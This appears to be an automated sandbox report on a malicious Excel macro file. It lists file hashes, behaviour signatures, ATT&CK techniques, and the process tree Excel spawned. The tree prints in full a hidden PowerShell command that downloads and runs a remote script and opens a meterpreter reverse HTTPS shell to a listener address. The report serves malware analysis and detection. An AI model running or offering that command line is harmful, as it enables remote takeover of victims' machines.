ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c

General

Target

ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls
Size

34KB
MD5

b33bb35523724ec11e6f05291d701b24
SHA1

1841fd745bdf695fdfe7abcd8df375bdddb9648f
SHA256

ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c
SHA512

3952118baa9ae59c095acf5daed56965fa2dbe8f485384751cd3b4d2eb88c221986d1fbccf6bc56527b843f5959c27505c80c6f6cfe3f1d2305a6e223b74f1f9
SSDEEP

768:LveWFwP+SKabAk0BuqCXlg+/fs5cClfZw2gmVXqA4LQYgO1mQQpSFeVAmcil:LSP+SKabAk0BuqCXlg+/fs5cClfZw2gQ

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2528	2532	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1404	2684	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2528	powershell.exe
4	2528	powershell.exe
5	1744	powershell.exe
6	1744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2528	powershell.exe
1744	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2684	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2528	powershell.exe
1744	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2684	EXCEL.EXE
2684	EXCEL.EXE
2684	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2684 wrote to memory of 1404	2684	EXCEL.EXE	33
PID 2684 wrote to memory of 1404	2684	EXCEL.EXE	33
PID 2684 wrote to memory of 1404	2684	EXCEL.EXE	33
PID 2684 wrote to memory of 1404	2684	EXCEL.EXE	33
PID 1404 wrote to memory of 1744	1404	wscript.exe	34
PID 1404 wrote to memory of 1744	1404	wscript.exe	34
PID 1404 wrote to memory of 1744	1404	wscript.exe	34
PID 1404 wrote to memory of 1744	1404	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2684
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0B4068X96BB8520C6HQ2.temp

Filesize
7KB

MD5
28716fb64b51e2ada2c528f0043f2e75

SHA1
2eb7af6edc1291ab9dbceb64d55c34e5c72336cf

SHA256
f6d5b360a949e10c606cdda941b2056db8b0b27137e7634f61149f28a799e6cc

SHA512
14933f5d0a3612133a1f9f105e9b223ef07807b6cfeddc66abac47f3605f1e831af7880b906e967e6436ebcc3c8c0a6786c39dcefbac7fed49e9c7efc5fb8cd7

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/2528-44-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2528-45-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2684-13-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-19-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-18-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-6-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-5-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-27-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-32-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-37-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-38-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2684-4-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-2-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-3-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-1-0x0000000071DDD000-0x0000000071DE8000-memory.dmp

Filesize
44KB

Download
memory/2684-48-0x0000000071DDD000-0x0000000071DE8000-memory.dmp

Filesize
44KB

Download
memory/2684-49-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-50-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download
memory/2684-51-0x0000000000590000-0x0000000000690000-memory.dmp

Filesize
1024KB

Download

Analysis

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